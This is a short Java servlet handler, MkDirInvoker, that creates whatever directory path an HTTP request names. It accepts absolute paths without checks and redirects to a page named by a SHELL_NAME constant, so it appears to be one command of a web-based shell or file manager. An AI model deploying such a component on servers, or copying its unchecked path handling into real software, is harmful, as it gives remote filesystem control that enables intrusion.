package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.File;

public class MkDirInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String name = request.getParameter("name");
            File f = new File(name);
            if (!f.isAbsolute()) {
                String path = session.getAttribute(CURRENT_DIR).toString();
                if (!path.endsWith("/"))
                    path += "/";
                path += name;
                f = new File(path);
            }
            f.mkdirs();
            session.setAttribute(MSG, "Make Directory Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}